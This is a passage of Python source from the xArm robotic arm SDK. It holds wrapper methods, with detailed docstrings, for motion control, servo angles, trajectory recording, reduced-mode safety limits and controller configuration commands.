Y{y} Z{z} A{roll} B{pitch} C{yaw} R{radius} F{speed} Q{acc} T{mvtime}' 'G11': 'set_servo_angle_j: G11 I{servo_1} J{servo_2} K{servo_3} L{servo_4} M{servo_5} N{servo_6} O{servo_7} F{speed} Q{acc} T{mvtime}' 'H1': 'get_version: H1' 'H11': 'motion_enable: H11 I{servo_id} V{enable}' 'H12': 'set_state: H12 V{state}' 'H13': 'get_state: H13' 'H14': 'get_cmdnum: H14' 'H15': 'get_err_warn_code: H15' 'H16': 'clean_error: H16' 'H17': 'clean_warn: H17' 'H18': 'set_servo_attach/set_servo_detach: H18 I{servo_id} V{1: enable(detach), 0: disable(attach)}' 'H19': 'set_mode: H19 V{mode}' 'H31': 'set_tcp_jerk: H31 V{jerk(mm/s^3)}' 'H32': 'set_tcp_maxacc: H32 V{maxacc(mm/s^2)}' 'H33': 'set_joint_jerk: H33 V{jerk(°/s^3 or rad/s^3)}' 'H34': 'set_joint_maxacc: H34 {maxacc(°/s^2 or rad/s^2)}' 'H35': 'set_tcp_offset: H35 X{x} Y{y} Z{z} A{roll} B{pitch} C{yaw}' 'H36': 'set_tcp_load: H36 I{weight} J{center_x} K{center_y} L{center_z}' 'H37': 'set_collision_sensitivity: H37 V{sensitivity}' 'H38': 'set_teach_sensitivity: H38 V{sensitivity}' 'H39': 'clean_conf: H39' 'H40': 'save_conf: H40' 'H41': 'get_position: H41' 'H42': 'get_servo_angle: H42' 'H43': 'get_inverse_kinematics: H43 X{x} Y{y} Z{z} A{roll} B{pitch} C{yaw}' 'H44': 'get_forward_kinematics: H44 I{servo_1} J{servo_2} K{servo_3} L{servo_4} M{servo_5} N{servo_6} O{servo_7}' 'H45': 'is_joint_limit: H45 I{servo_1} J{servo_2} K{servo_3} L{servo_4} M{servo_5} N{servo_6} O{servo_7}' 'H46': 'is_tcp_limit: H46 X{x} Y{y} Z{z} A{roll} B{pitch} C{yaw}' 'H51': 'set_gravity_direction: H51 X{x} Y{y} Z{z}' 'H106': 'get_servo_debug_msg: H106' 'M116': 'set_gripper_enable: M116 V{enable}' 'M117': 'set_gripper_mode: M117 V{mode}' 'M119': 'get_gripper_position: M119' 'M120': 'set_gripper_position: M120 V{pos}' 'M121': 'set_gripper_speed: M116 V{speed}' 'M125': 'get_gripper_err_code: M125' 'M126': 'clean_gripper_error: M126' 'M131': 'get_tgpio_digital: M131' 'M132': 'set_tgpio_digital: M132 I{ionum} V{value}' 'M133': 'get_tgpio_analog, default ionum=0: M133 I{ionum=0}' 'M134': 'get_tgpio_analog, default ionum=1: M134 I{ionum=1}' 'C131': 'get_cgpio_digital: C131' 'C132': 'get_cgpio_analog, default ionum=0: C132 I{ionum=0}' 'C133': 'get_cgpio_analog, default ionum=1: C133 I{ionum=1}' 'C134': 'set_cgpio_digital: C134 I{ionum} V{value}' 'C135': 'set_cgpio_analog, default ionum=0: C135 I{ionum=0} V{value}' 'C136': 'set_cgpio_analog, default ionum=1: C136 I{ionum=1} V{value}' 'C137': 'set_cgpio_digital_input_function: C137 I{ionum} V{fun}' 'C138': 'set_cgpio_digital_output_function: C138 I{ionum} V{fun}' 'C139': 'get_cgpio_state: C139' :return: code or tuple((code, ...)) code: See the API code documentation for details. """ return self._arm.send_cmd_sync(command=command) def get_position(self, is_radian=None): """ Get the cartesian position Note: 1. If the value(roll/pitch/yaw) you want to return is an radian unit, please set the parameter is_radian to True ex: code, pos = arm.get_position(is_radian=True) :param is_radian: the returned value (only roll/pitch/yaw) is in radians or not, default is self.default_is_radian :return: tuple((code, [x, y, z, roll, pitch, yaw])), only when code is 0, the returned result is correct. code: See the API code documentation for details. """ return self._arm.get_position(is_radian=is_radian) def set_position(self, x=None, y=None, z=None, roll=None, pitch=None, yaw=None, radius=None, speed=None, mvacc=None, mvtime=None, relative=False, is_radian=None, wait=False, timeout=None, **kwargs): """ Set the cartesian position, the API will modify self.last_used_position value Note: 1. If it is xArm5, ensure that the current robotic arm has a roll value of 180° or π rad and has a roll value of 0 before calling this interface. 2. If it is xArm5, roll must be set to 180° or π rad, pitch must be set to 0 3. If the parameter(roll/pitch/yaw) you are passing is an radian unit, be sure to set the parameter is_radian to True. ex: code = arm.set_position(x=300, y=0, z=200, roll=-3.14, pitch=0, yaw=0, is_radian=True) 4. If you want to wait for the robot to complete this action and then return, please set the parameter wait to True. ex: code = arm.set_position(x=300, y=0, z=200, roll=180, pitch=0, yaw=0, is_radian=False, wait=True) 5. This interface is only used in the base coordinate system. :param x: cartesian position x, (unit: mm), default is self.last_used_position[0] :param y: cartesian position y, (unit: mm), default is self.last_used_position[1] :param z: cartesian position z, (unit: mm), default is self.last_used_position[2] :param roll: rotate around the X axis, (unit: rad if is_radian is True else °), default is self.last_used_position[3] :param pitch: rotate around the Y axis, (unit: rad if is_radian is True else °), default is self.last_used_position[4] :param yaw: rotate around the Z axis, (unit: rad if is_radian is True else °), default is self.last_used_position[5] :param radius: move radius, if radius is None or radius less than 0, will MoveLine, else MoveArcLine MoveLine: Linear motion ex: code = arm.set_position(..., radius=None) MoveArcLine: Linear arc motion with interpolation ex: code = arm.set_position(..., radius=0) Note: Need to set radius>=0 :param speed: move speed (mm/s, rad/s), default is self.last_used_tcp_speed :param mvacc: move acceleration (mm/s^2, rad/s^2), default is self.last_used_tcp_acc :param mvtime: 0, reserved :param relative: relative move or not :param is_radian: the roll/pitch/yaw in radians or not, default is self.default_is_radian :param wait: whether to wait for the arm to complete, default is False :param timeout: maximum waiting time(unit: second), default is None(no timeout), only valid if wait is True :param kwargs: reserved :return: code code: See the API code documentation for details. code < 0: the last_used_position/last_used_tcp_speed/last_used_tcp_acc will not be modified code >= 0: the last_used_position/last_used_tcp_speed/last_used_tcp_acc will be modified """ return self._arm.set_position(x=x, y=y, z=z, roll=roll, pitch=pitch, yaw=yaw, radius=radius, speed=speed, mvacc=mvacc, mvtime=mvtime, relative=relative, is_radian=is_radian, wait=wait, timeout=timeout, **kwargs) def set_tool_position(self, x=0, y=0, z=0, roll=0, pitch=0, yaw=0, speed=None, mvacc=None, mvtime=None, is_radian=None, wait=False, timeout=None, **kwargs): """ Movement relative to the tool coordinate system Note: 1. This interface is moving relative to the current tool coordinate system 2. The tool coordinate system is not fixed and varies with position. 3. This interface is only used in the tool coordinate system. :param x: the x coordinate relative to the current tool coordinate system, (unit: mm), default is 0 :param y: the y coordinate relative to the current tool coordinate system, (unit: mm), default is 0 :param z: the z coordinate relative to the current tool coordinate system, (unit: mm), default is 0 :param roll: the rotate around the X axis relative to the current tool coordinate system, (unit: rad if is_radian is True else °), default is 0 :param pitch: the rotate around the Y axis relative to the current tool coordinate system, (unit: rad if is_radian is True else °), default is 0 :param yaw: the rotate around the Z axis relative to the current tool coordinate system, (unit: rad if is_radian is True else °), default is 0 :param speed: move speed (mm/s, rad/s), default is self.last_used_tcp_speed :param mvacc: move acceleration (mm/s^2, rad/s^2), default is self.last_used_tcp_acc :param mvtime: 0, reserved :param is_radian: the roll/pitch/yaw in radians or not, default is self.default_is_radian :param wait: whether to wait for the arm to complete, default is False :param timeout: maximum waiting time(unit: second), default is None(no timeout), only valid if wait is True :param kwargs: reserved :return: code code: See the API code documentation for details. code < 0: the last_used_tcp_speed/last_used_tcp_acc will not be modified code >= 0: the last_used_tcp_speed/last_used_tcp_acc will be modified """ return self._arm.set_tool_position(x=x, y=y, z=z, roll=roll, pitch=pitch, yaw=yaw, speed=speed, mvacc=mvacc, mvtime=mvtime, is_radian=is_radian, wait=wait, timeout=timeout, **kwargs) def get_servo_angle(self, servo_id=None, is_radian=None): """ Get the servo angle Note: 1. If the value you want to return is an radian unit, please set the parameter is_radian to True ex: code, angles = arm.get_servo_angle(is_radian=True) 2. If you want to return only the angle of a single joint, please set the parameter servo_id ex: code, angle = arm.get_servo_angle(servo_id=2) 3. This interface is only used in the base coordinate system. :param servo_id: 1-(Number of axes), None(8), default is None :param is_radian: the returned value is in radians or not, default is self.default_is_radian :return: tuple((code, angle list if servo_id is None or 8 else angle)), only when code is 0, the returned result is correct. code: See the API code documentation for details. """ return self._arm.get_servo_angle(servo_id=servo_id, is_radian=is_radian) def set_servo_angle(self, servo_id=None, angle=None, speed=None, mvacc=None, mvtime=None, relative=False, is_radian=None, wait=False, timeout=None, radius=None, **kwargs): """ Set the servo angle, the API will modify self.last_used_angles value Note: 1. If the parameter angle you are passing is an radian unit, be sure to set the parameter is_radian to True. ex: code = arm.set_servo_angle(servo_id=1, angle=1.57, is_radian=True) 2. If you want to wait for the robot to complete this action and then return, please set the parameter wait to True. ex: code = arm.set_servo_angle(servo_id=1, angle=45, is_radian=False,wait=True) 3. This interface is only used in the base coordinate system. :param servo_id: 1-(Number of axes), None(8) 1. 1-(Number of axes) indicates the corresponding joint, the parameter angle should be a numeric value ex: code = arm.set_servo_angle(servo_id=1, angle=45, is_radian=False) 2. None(8) means all joints, default is None, the parameter angle should be a list of values whose length is the number of joints ex: code = arm.set_servo_angle(angle=[30, -45, 0, 0, 0, 0, 0], is_radian=False) :param angle: angle or angle list, (unit: rad if is_radian is True else °) 1. If servo_id is 1-(Number of axes), angle should be a numeric value ex: code = arm.set_servo_angle(servo_id=1, angle=45, is_radian=False) 2. If servo_id is None or 8, angle should be a list of values whose length is the number of joints like [axis-1, axis-2, axis-3, axis-3, axis-4, axis-5, axis-6, axis-7] ex: code = arm.set_servo_angle(angle=[30, -45, 0, 0, 0, 0, 0], is_radian=False) :param speed: move speed (unit: rad/s if is_radian is True else °/s), default is self.last_used_joint_speed :param mvacc: move acceleration (unit: rad/s^2 if is_radian is True else °/s^2), default is self.last_used_joint_acc :param mvtime: 0, reserved :param relative: relative move or not :param is_radian: the angle in radians or not, default is self.default_is_radian :param wait: whether to wait for the arm to complete, default is False :param timeout: maximum waiting time(unit: second), default is None(no timeout), only valid if wait is True :param radius: move radius, if radius is None or radius less than 0, will MoveJoint, else MoveArcJoint Note: Only available if version > 1.5.20 Note: The blending radius cannot be greater than the track length. MoveJoint: joint motion ex: code = arm.set_servo_angle(..., radius=None) MoveArcJoint: joint fusion motion with interpolation ex: code = arm.set_servo_angle(..., radius=0) Note: Need to set radius>=0 :param kwargs: reserved :return: code code: See the API code documentation for details. code < 0: the last_used_angles/last_used_joint_speed/last_used_joint_acc will not be modified code >= 0: the last_used_angles/last_used_joint_speed/last_used_joint_acc will be modified """ return self._arm.set_servo_angle(servo_id=servo_id, angle=angle, speed=speed, mvacc=mvacc, mvtime=mvtime, relative=relative, is_radian=is_radian, wait=wait, timeout=timeout, radius=radius, **kwargs) def set_servo_angle_j(self, angles, speed=None, mvacc=None, mvtime=None, is_radian=None, **kwargs): """ Set the servo angle, execute only the last instruction, need to be set to servo motion mode(self.set_mode(1)) Note: 1. This interface does not modify the value of last_used_angles/last_used_joint_speed/last_used_joint_acc 2. This interface is only used in the base coordinate system. :param angles: angle list, (unit: rad if is_radian is True else °) :param speed: speed, reserved :param mvacc: acceleration, reserved :param mvtime: 0, reserved :param is_radian: the angles in radians or not, default is self.default_is_radian :param kwargs: reserved :return: code code: See the API code documentation for details. """ return self._arm.set_servo_angle_j(angles, speed=speed, mvacc=mvacc, mvtime=mvtime, is_radian=is_radian, **kwargs) def set_servo_cartesian(self, mvpose, speed=None, mvacc=None, mvtime=0, is_radian=None, is_tool_coord=False, **kwargs): """ Set the servo cartesian, execute only the last instruction, need to be set to servo motion mode(self.set_mode(1)) :param mvpose: cartesian position, [x(mm), y(mm), z(mm), roll(rad or °), pitch(rad or °), yaw(rad or °)] :param speed: move speed (mm/s), reserved :param mvacc: move acceleration (mm/s^2), reserved :param mvtime: 0, reserved :param is_radian: the roll/pitch/yaw of mvpose in radians or not, default is self.default_is_radian :param is_tool_coord: is tool coordinate or not :param kwargs: reserved :return: code code: See the API code documentation for details. """ return self._arm.set_servo_cartesian(mvpose, speed=speed, mvacc=mvacc, mvtime=mvtime, is_radian=is_radian, is_tool_coord=is_tool_coord, **kwargs) def move_circle(self, pose1, pose2, percent, speed=None, mvacc=None, mvtime=None, is_radian=None, wait=False, timeout=None, **kwargs): """ The motion calculates the trajectory of the space circle according to the three-point coordinates. The three-point coordinates are (current starting point, pose1, pose2). :param pose1: cartesian position, [x(mm), y(mm), z(mm), roll(rad or °), pitch(rad or °), yaw(rad or °)] :param pose2: cartesian position, [x(mm), y(mm), z(mm), roll(rad or °), pitch(rad or °), yaw(rad or °)] :param percent: the percentage of arc length and circumference of the movement :param speed: move speed (mm/s, rad/s), default is self.last_used_tcp_speed :param mvacc: move acceleration (mm/s^2, rad/s^2), default is self.last_used_tcp_acc :param mvtime: 0, reserved :param is_radian: roll/pitch/yaw value is radians or not, default is self.default_is_radian :param wait: whether to wait for the arm to complete, default is False :param timeout: maximum waiting time(unit: second), default is None(no timeout), only valid if wait is True :param kwargs: reserved :return: code code: See the API code documentation for details. code < 0: the last_used_tcp_speed/last_used_tcp_acc will not be modified code >= 0: the last_used_tcp_speed/last_used_tcp_acc will be modified """ return self._arm.move_circle(pose1, pose2, percent, speed=speed, mvacc=mvacc, mvtime=mvtime, is_radian=is_radian, wait=wait, timeout=timeout, **kwargs) def move_gohome(self, speed=None, mvacc=None, mvtime=None, is_radian=None, wait=False, timeout=None): """ Move to go home (Back to zero), the API will modify self.last_used_position and self.last_used_angles value Warnning: without limit detection Note: 1. The API will change self.last_used_position value into [201.5, 0, 140.5, -180, 0, 0] 2. The API will change self.last_used_angles value into [0, 0, 0, 0, 0, 0, 0] 3. If you want to wait for the robot to complete this action and then return, please set the parameter wait to True. ex: code = arm.move_gohome(wait=True) 4. This interface does not modify the value of last_used_angles/last_used_joint_speed/last_used_joint_acc :param speed: gohome speed (unit: rad/s if is_radian is True else °/s), default is 50 °/s :param mvacc: gohome acceleration (unit: rad/s^2 if is_radian is True else °/s^2), default is 5000 °/s^2 :param mvtime: reserved :param is_radian: the speed and acceleration are in radians or not, default is self.default_is_radian :param wait: whether to wait for the arm to complete, default is False :param timeout: maximum waiting time(unit: second), default is None(no timeout), only valid if wait is True :return: code code: See the API code documentation for details. """ return self._arm.move_gohome(speed=speed, mvacc=mvacc, mvtime=mvtime, is_radian=is_radian, wait=wait, timeout=timeout) def move_arc_lines(self, paths, is_radian=None, times=1, first_pause_time=0.1, repeat_pause_time=0, automatic_calibration=True, speed=None, mvacc=None, mvtime=None, wait=False): """ Continuous linear motion with interpolation. Note: 1. If an error occurs, it will return early. 2. If the emergency_stop interface is called actively, it will return early. 3. The last_used_position/last_used_tcp_speed/last_used_tcp_acc will be modified. 4. The last_used_angles/last_used_joint_speed/last_used_joint_acc will not be modified. :param paths: cartesian path list 1. Specify arc radius: [[x, y, z, roll, pitch, yaw, radius], ....] 2. Do not specify arc radius (radius=0): [[x, y, z, roll, pitch, yaw], ....] 3. If you want to plan the continuous motion,set radius>0. :param is_radian: roll/pitch/yaw of paths are in radians or not, default is self.default_is_radian :param times: repeat times, 0 is infinite loop, default is 1 :param first_pause_time: sleep time at first, purpose is to cache the commands and plan continuous motion, default is 0.1s :param repeat_pause_time: interval between repeated movements, unit: (s)second :param automatic_calibration: automatic calibration or not, default is True :param speed: move speed (mm/s, rad/s), default is self.last_used_tcp_speed :param mvacc: move acceleration (mm/s^2, rad/s^2), default is self.last_used_tcp_acc :param mvtime: 0, reserved :param wait: whether to wait for the arm to complete, default is False """ return self._arm.move_arc_lines(paths, is_radian=is_radian, times=times, first_pause_time=first_pause_time, repeat_pause_time=repeat_pause_time, automatic_calibration=automatic_calibration, speed=speed, mvacc=mvacc, mvtime=mvtime, wait=wait) def set_servo_attach(self, servo_id=None): """ Attach the servo :param servo_id: 1-(Number of axes), 8, if servo_id is 8, will attach all servo 1. 1-(Number of axes): attach only one joint ex: arm.set_servo_attach(servo_id=1) 2: 8: attach all joints ex: arm.set_servo_attach(servo_id=8) :return: code code: See the API code documentation for details. """ return self._arm.set_servo_attach(servo_id=servo_id) def set_servo_detach(self, servo_id=None): """ Detach the servo, be sure to do protective work before unlocking to avoid injury or damage. :param servo_id: 1-(Number of axes), 8, if servo_id is 8, will detach all servo 1. 1-(Number of axes): detach only one joint ex: arm.set_servo_detach(servo_id=1) 2: 8: detach all joints, please ex: arm.set_servo_detach(servo_id=8) :return: code code: See the API code documentation for details. """ return self._arm.set_servo_detach(servo_id=servo_id) def get_version(self): """ Get the xArm firmware version :return: tuple((code, version)), only when code is 0, the returned result is correct. code: See the API code documentation for details. """ return self._arm.get_version() def get_robot_sn(self): """ Get the xArm sn :return: tuple((code, sn)), only when code is 0, the returned result is correct. code: See the API code documentation for details. """ return self._arm.get_robot_sn() def check_verification(self): """ check verification :return: tuple((code, status)), only when code is 0, the returned result is correct. code: See the API code documentation for details. status: 0: verified other: not verified """ return self._arm.check_verification() def shutdown_system(self, value=1): """ Shutdown the xArm controller system :param value: 1: remote shutdown :return: code code: See the API code documentation for details. """ return self._arm.shutdown_system(value=value) def get_trajectories(self): """ get the trajectories Note: 1. This interface relies on xArmStudio 1.2.0 or above 2. This interface relies on Firmware 1.2.0 or above :return: tuple((code, trajectories)) code: See the API code documentation for details. trajectories: [{ 'name': name, # The name of the trajectory 'duration': duration, # The duration of the trajectory (seconds) }] """ return self._arm.get_trajectories() def start_record_trajectory(self): """ Start trajectory recording, only in teach mode, so you need to set joint teaching mode before. Note: 1. This interface relies on Firmware 1.2.0 or above 2. set joint teaching mode: set_mode(2);set_state(0) :return: code code: See the API code documentation for details. """ return self._arm.start_record_trajectory() def stop_record_trajectory(self, filename=None): """ Stop trajectory recording Note: 1. This interface relies on Firmware 1.2.0 or above :param filename: The name to save 1. Only strings consisting of English or numbers are supported, and the length is no more than 50. 2. The trajectory is saved in the controller box. 3. If the filename is None, just stop recording, do not save, you need to manually call `save_record_trajectory` save before changing the mode. otherwise it will be lost 4. This action will overwrite the trajectory with the same name 5. Empty the trajectory in memory after saving :return: code code: See the API code documentation for details. """ return self._arm.stop_record_trajectory(filename=filename) def save_record_trajectory(self, filename, wait=True, timeout=2): """ Save the trajectory you just recorded Note: 1. This interface relies on Firmware 1.2.0 or above :param filename: The name to save 1. Only strings consisting of English or numbers are supported, and the length is no more than 50. 2. The trajectory is saved in the controller box. 3. This action will overwrite the trajectory with the same name 4. Empty the trajectory in memory after saving, so repeated calls will cause the recorded trajectory to be covered by an empty trajectory. :param wait: Whether to wait for saving, default is True :param timeout: Timeout waiting for saving to complete :return: code code: See the API code documentation for details. """ return self._arm.save_record_trajectory(filename, wait=wait, timeout=timeout) def load_trajectory(self, filename, wait=True, timeout=10): """ Load the trajectory Note: 1. This interface relies on Firmware 1.2.0 or above :param filename: The name of the trajectory to load :param wait: Whether to wait for loading, default is True :param timeout: Timeout waiting for loading to complete :return: code code: See the API code documentation for details. """ return self._arm.load_trajectory(filename, wait=wait, timeout=timeout) def playback_trajectory(self, times=1, filename=None, wait=True, double_speed=1): """ Playback trajectory Note: 1. This interface relies on Firmware 1.2.0 or above :param times: Number of playbacks, 1. Only valid when the current position of the arm is the end position of the track, otherwise it will only be played once. :param filename: The name of the trajectory to play back 1. If filename is None, you need to manually call the `load_trajectory` to load the trajectory. :param wait: whether to wait for the arm to complete, default is False :param double_speed: double speed, only support 1/2/4, default is 1, only available if version > 1.2.11 :return: code code: See the API code documentation for details. """ return self._arm.playback_trajectory(times=times, filename=filename, wait=wait, double_speed=double_speed) def get_trajectory_rw_status(self): """ Get trajectory read/write status :return: (code, status) code: See the API code documentation for details. status: 0: no read/write 1: loading 2: load success 3: load failed 4: saving 5: save success 6: save failed """ return self._arm.get_trajectory_rw_status() def get_reduced_mode(self): """ Get reduced mode Note: 1. This interface relies on Firmware 1.2.0 or above :return: tuple((code, mode)) code: See the API code documentation for details. mode: 0 or 1, 1 means that the reduced mode is turned on. 0 means that the reduced mode is not turned on """ return self._arm.get_reduced_mode() def get_reduced_states(self, is_radian=None): """ Get states of the reduced mode Note: 1. This interface relies on Firmware 1.2.0 or above :param is_radian: the max_joint_speed of the states is in radians or not, default is self.default_is_radian :return: tuple((code, states)) code: See the API code documentation for details. states: [....] if version > 1.2.11: states: [ reduced_mode_is_on, [reduced_x_max, reduced_x_min, reduced_y_max, reduced_y_min, reduced_z_max, reduced_z_min], reduced_max_tcp_speed, reduced_max_joint_speed, joint_ranges([joint-1-min, joint-1-max, ..., joint-7-min, joint-7-max]), safety_boundary_is_on, collision_rebound_is_on, ]` if version <= 1.2.11: states: [ reduced_mode_is_on, [reduced_x_max, reduced_x_min, reduced_y_max, reduced_y_min, reduced_z_max, reduced_z_min], reduced_max_tcp_speed, reduced_max_joint_speed, ]` """ return self._arm.get_reduced_states(is_radian=is_radian) def set_reduced_mode(self, on): """ Turn on/off reduced mode Note: 1. This interface relies on Firmware 1.2.0 or above :param on: True/False such as:Turn on the reduced mode : code=arm.set_reduced_mode(True) :return: code code: See the API code documentation for details. """ return self._arm.set_reduced_mode(on) def set_reduced_max_tcp_speed(self, speed): """ Set the maximum tcp speed of the reduced mode Note: 1. This interface relies on Firmware 1.2.0 or above 2. Only reset the reduced mode to take effect (`set_reduced_mode(True)`) :param speed: speed (mm/s) :return: code code: See the API code documentation for details. """ return self._arm.set_reduced_max_tcp_speed(speed) def set_reduced_max_joint_speed(self, speed, is_radian=None): """ Set the maximum joint speed of the reduced mode Note: 1. This interface relies on Firmware 1.2.0 or above 2. Only reset the reduced mode to take effect (`set_reduced_mode(True)`) :param speed: speed (°/s or rad/s) :param is_radian: the speed is in radians or not, default is self.default_is_radian :return: code code: See the API code documentation for details. """ return self._arm.set_reduced_max_joint_speed(speed, is_radian=is_radian) def set_reduced_tcp_boundary(self, boundary): """ Set the boundary of the safety boundary mode Note: 1. This interface relies on Firmware 1.2.0 or above 2. Only reset the reduced mode to take effect (`set_reduced_mode(True)`) :param boundary: [x_max, x_min, y_max, y_min, z_max, z_min] :return: code code: See the API code documentation for details. """ return self._arm.set_reduced_tcp_boundary(boundary) def set_reduced_joint_range(self, joint_range, is_radian=None): """ Set the joint range of the reduced mode Note: 1. This interface relies on Firmware 1.2.11 or above 2. Only reset the reduced mode to take effect (`set_reduced_mode(True)`) :param joint_range: [joint-1-min, joint-1-max, ..., joint-7-min, joint-7-max] :param is_radian: the param joint_range are in radians or not, default is self.default_is_radian :return: """ return self._arm.set_reduced_joint_range(joint_range, is_radian=is_radian) def set_fence_mode(self, on): """ Set the fence mode,turn on/off fense mode Note: 1. This interface relies on Firmware 1.2.11 or above :param on: True/False :return: code code: See the API code documentation for details. """ return self._arm.set_fense_mode(on) def set_collision_rebound(self, on): """ Set the collision rebound,turn on/off collision rebound Note: 1. This interface relies on Firmware 1.2.11 or above :param on: True/False :return: code code: See the API code documentation for details. """ return self._arm.set_collision_rebound(on) def set_world_offset(self, offset, is_radian=None): """ Set the base coordinate offset Note: 1. This interface relies on Firmware 1.2.11 or above :param offset: [x, y, z, roll, pitch, yaw] :param is_radian: the roll/pitch/yaw in radians or not, default is self.default_is_radian :return: code code: See the API code documentation for details. """ return self._arm.set_world_offset(offset, is_radian=is_radian) def get_is_moving(self): """ Check xArm is moving or not :return: True/False """ return self._arm.get_is_moving() def get_state(self): """ Get state :return: tuple((code, state)), only when code is 0, the returned result is correct. code: See the API code documentation for details. state: 1: in motion 2: sleeping 3: suspended 4: stopping """ return self._arm.get_state() def set_state(self, state=0): """ Set the xArm state :param state: default is 0 0: sport state 3: pause state 4: stop state :return: code code: See the API code documentation for details. """ return self._arm.set_state(state=state) def set_mode(self, mode=0): """ Set the xArm mode :param mode: default is 0 0: position control mode 1: servo motion mode Note: the use of the set_servo_angle_j interface must first be set to this mode Note: the use of the set_servo_cartesian interface must first be set to this mode 2: joint teaching mode Note: use this mode to ensure that the arm has been identified and the control box and arm used for identification are one-to-one. 3: cartesian teaching mode (invalid) 4: joint velocity control mode 5: cartesian velocity control mode :return: code code: See the API code documentation for details. """ return self._arm.set_mode(mode=mode) def get_cmdnum(self): """ Get the cmd count in cache :return: tuple((code, cmd_num)), only when code is 0, the returned result is correct. code: See the API code documentation for details. """ return self._arm.get_cmdnum() def get_err_warn_code(self, show=False, lang='en'): """ Get the controller error and warn code :param show: show the detail info if True :param lang: show language, en/cn, degault is en, only available if show is True :return: tuple((code, [error_code, warn_code])), only when code is 0, the returned result is correct. code: See the API code documentation for details. error_code: See Chapter 7 of the xArm User Manual for details. warn_code: See Chapter 7 of the xArm User Manual for details. """ return self._arm.get_err_warn_code(show=show, lang=lang) def clean_error(self): """ Clean the error, need to be manually enabled motion(arm.motion_enable(True)) and set state(arm.set_state(state=0))after clean error :return: code code: See the API code documentation for details. """ return self._arm.clean_error() def clean_warn(self): """ Clean the warn :return: code code: See the API code documentation for details. """ return self._arm.clean_warn() def motion_enable(self, enable=True, servo_id=None): """ Motion enable :param enable:True/False :param servo_id: 1-(Number of axes), None(8) :return: code code: See the API code documentation for details. """ return self._arm.motion_enable(servo_id=servo_id, enable=enable) def reset(self, speed=None, mvacc=None, mvtime=None, is_radian=None, wait=False, timeout=None): """ Reset the xArm Warnning: without limit detection Note: 1. If there are errors or warnings, this interface will clear the warnings and errors. 2. If not ready, the api will auto enable motion and set state 3. This interface does not modify the value of last_used_angles/last_used_joint_speed/last_used_joint_acc :param speed: reset speed (unit: rad/s if is_radian is True else °/s), default is 50 °/s :param mvacc: reset acceleration (unit: rad/s^2 if is_radian is True else °/s^2), default is 5000 °/s^2 :param mvtime: reserved :param is_radian: the speed and acceleration are in radians or not, default is self.default_is_radian :param wait: whether to wait for the arm to complete, default is False :param timeout: maximum waiting time(unit: second), default is None(no timeout), only valid if wait is True """ return self._arm.reset(speed=speed, mvacc=mvacc, mvtime=mvtime, is_radian=is_radian, wait=wait, timeout=timeout) def set_pause_time(self, sltime, wait=False): """ Set the arm pause time, xArm will pause sltime second :param sltime: sleep time,unit:(s)second :param wait: wait or not, default is False :return: code code: See the API code documentation for details. """ return self._arm.set_pause_time(sltime, wait=wait) def set_tcp_offset(self, offset, is_radian=None, **kwargs): """ Set the tool coordinate system offset at the end Note: 1. Do not use if not required 2. If not saved and you want to revert to the last saved value, please reset the offset by set_tcp_offset([0, 0, 0, 0, 0, 0]) 3. If not saved, it will be lost after reboot 4. The save_conf interface can record the current settings and will not be lost after the restart. 5. The clean_conf interface can restore system default settings :param offset: [x, y, z, roll, pitch, yaw] :param is_radian: the roll/pitch/yaw in radians or not, default is self.default_is_radian :return: code code: See the API code documentation for details. """ return self._arm.set_tcp_offset(offset, is_radian=is_radian, **kwargs) def set_tcp_jerk(self, jerk): """ Set the translational jerk of Cartesian space Note: 1. Do not use if not required 2. If not saved, it will be lost after reboot 3. The save_conf interface can record the current settings and will not be lost after the restart. 4. The clean_conf interface can restore system default settings :param jerk: jerk (mm/s^3) :return: code code: See the API code documentation for details. """ return self._arm.set_tcp_jerk(jerk) def set_tcp_maxacc(self, acc): """ Set the max translational acceleration of Cartesian space Note: 1. Do not use if not required 2. If not saved, it will be lost after reboot 3. The save_conf interface can record the current settings and will not be lost after the restart. 4. The clean_conf interface can restore system default settings :param acc: max acceleration (mm/s^2) :return: code code: See the API code documentation for details. """ return self._arm.set_tcp_maxacc(acc) def set_joint_jerk(self, jerk, is_radian=None): """ Set the jerk of Joint space Note: 1. Do not use if not required 2. If not saved, it will be lost after reboot 3. The save_conf interface can record the current settings and will not be lost after the restart. 4. The clean_conf interface can restore system default settings :param jerk: jerk (°/s^3 or rad/s^3) :param is_radian: the jerk in radians or not, default is self.default_is_radian :return: code code: See the API code documentation for details. """ return self._arm.set_joint_jerk(jerk, is_radian=is_radian) def set_joint_maxacc(self, acc, is_radian=None): """ Set the max acceleration of Joint space Note: 1. Do not use if not required 2. If not saved, it will be lost after reboot 3. The save_conf interface can record the current settings and will not be lost after the restart. 4. The clean_conf interface can restore system default settings :param acc: max acceleration (°/s^2 or rad/s^2) :param is_radian: the jerk in radians or not, default is self.default_is_radian :return: code code: See the API code documentation for details. """ return self._arm.set_joint_maxacc(acc, is_radian=is_radian) def set_tcp_load(self, weight, center_of_gravity): """ Set the end load of xArm Note: 1. Do not use if not required 2. If not saved, it will be lost after reboot 3. The save_conf interface can record the current settings and will not be lost after the restart. 4. The clean_conf interface can restore system default settings :param weight: load weight (unit: kg) :param center_of_gravity: load center of gravity, such as [x(mm), y(mm), z(mm)] :return: code code: See the API code documentation for details. """ return self._arm.set_tcp_load(weight, center_of_gravity) def set_collision_sensitivity(self, value): """ Set the sensitivity of collision Note: 1. Do not use if not required 2. If not saved, it will be lost after reboot 3. The save_conf interface can record the current settings and will not be lost after the restart. 4. The clean_conf interface can restore system default settings :param value: sensitivity value, 0~5 :return: code code: See the API code documentation for details. """ return self._arm.set_collision_sensitivity(value) def set_teach_sensitivity(self, value): """ Set the sensitivity of drag and teach Note: 1. Do not use if not required 2. If not saved, it will be lost after reboot 3. The save_conf interface can record the current settings and will not be lost after the restart. 4. The clean_conf interface can restore system default settings :param value: sensitivity value, 1~5 :return: code code: See the API code documentation for details. """ return self._arm.set_teach_sensitivity(value) def set_gravity_direction(self, direction): """ Set the direction of gravity Note: 1. Do not use if not required 2. If not saved, it will be lost after reboot 3. The save_conf interface can record the current settings and will not be lost after the restart. 4. The clean_conf interface can restore system default settings :param direction: direction of gravity, such as [x(mm), y(mm), z(mm)] :return: code code: See the API code documentation for details. """ return self._arm.set_gravity_direction(direction=direction) def set_mount_direction(self, base_tilt_deg, rotation_deg, is_radian=None): """ Set the mount direction Note: 1. Do not use if not required 2. If not saved, it will be lost after reboot 3. The save_conf interface can record the current settings and will not be lost after the restart. 4. The clean_conf interface can restore system default settings :param base_tilt_deg: tilt degree :param rotation_deg: rotation degree :param is_radian: the base_tilt_deg/rotation_deg in radians or not, default is self.default_is_radian :return: code code: See the API code documentation for details. """ return 